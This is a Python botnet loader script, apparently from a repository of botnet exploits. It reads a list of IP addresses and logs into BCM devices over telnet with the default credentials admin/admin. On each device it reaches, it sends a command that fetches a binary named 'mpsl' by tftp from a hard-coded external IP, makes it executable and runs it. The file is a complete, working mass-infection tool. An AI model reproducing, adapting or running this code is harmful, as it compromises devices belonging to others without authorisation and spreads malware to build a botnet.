Path: blob/master/Botnets/Exploits/BCM LOAD/py_bcm_sploits.py
5038 views
import threading, sys, time, random, socket, re, os12if len(sys.argv) < 2:3print "Usage: python "+sys.argv[0]+" <list>"4sys.exit()56ips = open(sys.argv[1], "r").readlines()7username = "admin"8password = "admin"9cmd = "cd /var || cd /tmp || cd /var/run || cd /var/tmp; tftp -g 185.128.43.214 -r mpsl; chmod 777 mpsl; ./mpsl"10spawn_shell = "cat | sh"11count = 012def readUntil(tn, string, timeout=15):13buf = ''14start_time = time.time()15while time.time() - start_time < timeout:16buf += tn.recv(1024)17time.sleep(0.01)18if string in buf: return buf19raise Exception('TIMEOUT!')2021class BCMM(threading.Thread):22def __init__ (self, ip):23threading.Thread.__init__(self)24self.ip = str(ip).rstrip('\n')25def run(self):26try:27tn = socket.socket()28tn.settimeout(5)29tn.connect((self.ip,23))30except Exception:31print "[%s] Timeout"%(count)32try:33time.sleep(0.01)34hoho = ''35hoho += readUntil(tn, ":")36if "ogin" in hoho and "BCM" in hoho:37tn.send(username + "\n")38except Exception:39tn.close()40try:41hoho = ''42hoho += readUntil(tn, ":")43if "assword" in hoho:44tn.send(password + "\n")45time.sleep(3)46except Exception:47tn.close()48try:49mp = ''50mp += tn.recv(1024)51if "#" in mp or "$" in mp or ">" in mp:52tn.send(spawn_shell + "\n")53time.sleep(1)54tn.send(cmd + "\n")55print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip)56time.sleep(10)57tn.close()58except Exception:59tn.close()60print "[%s] Timeout"%(count)61for ip in ips:62try:63count += 164t = BCMM(ip)65t.start()66time.sleep(0.02)67except:68pass6970